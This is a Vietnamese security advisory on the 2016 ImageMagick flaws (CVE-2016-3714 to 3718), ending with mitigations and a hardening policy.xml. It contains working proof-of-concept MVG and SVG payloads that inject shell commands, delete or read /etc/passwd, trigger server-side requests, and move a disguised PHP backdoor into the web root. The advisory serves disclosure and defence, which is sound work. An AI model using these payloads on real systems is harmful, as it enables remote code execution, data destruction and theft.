Lỗ hổng bảo mật trong thư viện ImageMagick

0
664

Thư viện ImageMagick, một thư viện xử lý hình ảnh được sử dụng trong nhiều ứng dụng web của nhiều ngôn ngữ khác nhau, được phát hiện tồn tại nhiều lỗ hổng bảo mật. Một trong số những lỗ hổng có thể giúp kẻ tấn công thực thi mã từ xa.

Mới đây, Stewie và Nikolay Ermishkin đến từ nhóm nghiên cứu bảo mật Mail.Ru của Nga đã phát hiện hàng loạt lỗ hổng bảo mật trong bộ thư viện ImageMagick. Ngay sau đó một phiên bản mới đã được cập nhật kèm theo các bản vá, tuy nhiên báo cáo cho thấy các bản vá này là chưa hoàn thiện và vẫn có thể dễ dàng bị tấn công.

1.    CVE-2016-3714 – Thiếu việc lọc ký tự dẫn đến thực thi mã từ xa
Thư viện ImageMagick cho phép truy xuất file từ những thư viện bên ngoài, tính năng này được gọi là “delegate”. Nó sẽ thực hiện một câu lệnh hệ thống với những thông số từ file cấu hình “delegates.xml” và các giá trị khác liên quan đến file (tên file ảnh…). Một trong những câu lệnh mặc định của chức năng “delegate” được sử dụng là:

“wget” –q –O “%o” “https:%M”

trong đó %M là đường dẫn link từ đầu vào. Từ đó cho phép nhập vào tên file là một đường dẫn có kèm theo câu lệnh hệ thống:

`http://fileanh.com”;|ls “-ls`

Đường dẫn này sẽ thực hiện câu lệnh “ls –la” khi được xử lý trong ImageMagick. Điều nguy hiểm ở đây là ImageMagick hỗ trợ những định dạng file như svg hay mvg, những định đạng cho phép include các file khác từ bên ngoài vào, từ đó có thể thực hiện những hướng tấn công khác như bên dưới.
Như vậy, mọi dịch vụ sử dụng thư viện ImageMagick đều có thể bị tấn công thông qua lỗ hổng này nếu sử dụng các file ‘delegates.xml‘ và ‘policy.xml‘ mặc định.
Ví dụ:
–    Nội dung file exploit.mvg:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://duongdananh.com/hinhanh.jpg";|ls "-la)'
pop graphic-context

–    Nội dung file exploit.svg:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd";>
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg"; xmlns:xlink=
"http://www.w3.org/1999/xlink";>
<image xlink:href="https://example.com/image.jpg&quot;|ls &quot;-la"
x="0" y="0" height="640px" width="480px"/>
</svg>

–    Mô phỏng quá trình thực thi bên trong ImageMagick:

$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..

ImageMagick cố gắng đoán định dạng cùa file thông qua nội dung file, vì vậy mã khai thác không liên quan đến đuôi file, do đó kẻ tấn công hoàn toàn có thể đổi tên file sang exploit.jpg hoặc exploit.png để đánh lừa các bộ lọc khi tải lên.

2.    CVE-2016-3718 – SSRF
Lỗ hổng cũng cho phép tạo ra cuộc tấn công khai thác SSRF (Server Side Request Forgery – Yêu cầu giả mạo từ phía server).
–    ssrf.mvg

push graphic-context
viewbox 0 0 640 480
fill 'url(http://websitemuctieu.com/)'
pop graphic-context

ImageMagick xử lý file ssrf.mvg bằng cách convert, sẽ tự động tạo 1 HTTP request GET đến địa chỉ: http://websitemuctieu.com/.

3.    CVE-2016-3715 – Xóa file
Thông qua giả mạo giao thức ‘ephemeral’ trong ImageMagick, kẻ tấn công có thể xóa 1 file bất kỳ từ xa.
–    delete.mvg

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/etc/passwd'
popgraphic-context

ImageMagick xử lý file delete.mvg dẫn đến thực thi việc xóa file ‘/etc/passwd’.

4.    CVE-2016-3716 – Di chuyển file
Thông qua giả mạo giao thức ‘msl’ trong ImageMagick, kẻ tấn công có thể di chuyển 1 file bất kỳ thông qua nội dung 1 file khác.
–    move.mvg

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context

–    Tạo file /tmp/msl.txt trên hệ thống với nội dung:

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>

File ‘/tmp/image.gif’ là file chứa nội dung backdoor php đã được chuyển đổi để vượt qua bộ lọc. Khi ImageMagick xử lý file ‘move.mvg’, file ‘/tmp/image.gif’ sẽ được chuyển thành file ‘/var/www/shell.php’.

5.    CVE-2016-3717 – Đọc file local
Thông qua giả mạo giao thức ‘label’ trong ImageMagick, kẻ tấn công có thể lấy được nội dung một file bất kỳ trên máy chủ.
–    read.mvg

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context

ImageMagick xử lý file read.mvg bằng việc convert thành file out.png, từ đó nội dung file out.png sẽ là toàn bộ nội dung của file /etc/passwd.

Hiện tại các lỗ hổng này vẫn tồn tại trên nhiều phiên bản và vẫn chưa có bản vá chính thức và toàn vẹn cho toàn bộ cá vấn đề. Vì vậy, cục An toàn thông tin đưa ra một số khuyến nghị để người dùng có thể tránh việc bị tấn công thông qua những lỗ hổng này:
–    Cập nhật phiên bản thư viện ImageMagick lên phiên bản mới nhất và làm theo các bước dưới.
–    Xác thực toàn bộ các file hình ảnh, kiểm tra “magic bytes” của các hình ảnh này cần trùng với loại file mà hệ thống cho phép trước khi gửi nó đến bộ xử lý của ImageMagick.
–    Sử dụng nội dung file ‘policy.xml’ dưới đây để vô hiệu hóa các đoạn mã khai thác ImageMagick.

<policymap>
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="TEXT" />
  <policy domain="coder" rights="none" pattern="SHOW" />
  <policy domain="coder" rights="none" pattern="WIN" />
  <policy domain="coder" rights="none" pattern="PLT" />
</policymap>

BÌNH LUẬN

Vui lòng nhập bình luận của bạn
Vui lòng nhập tên của bạn ở đây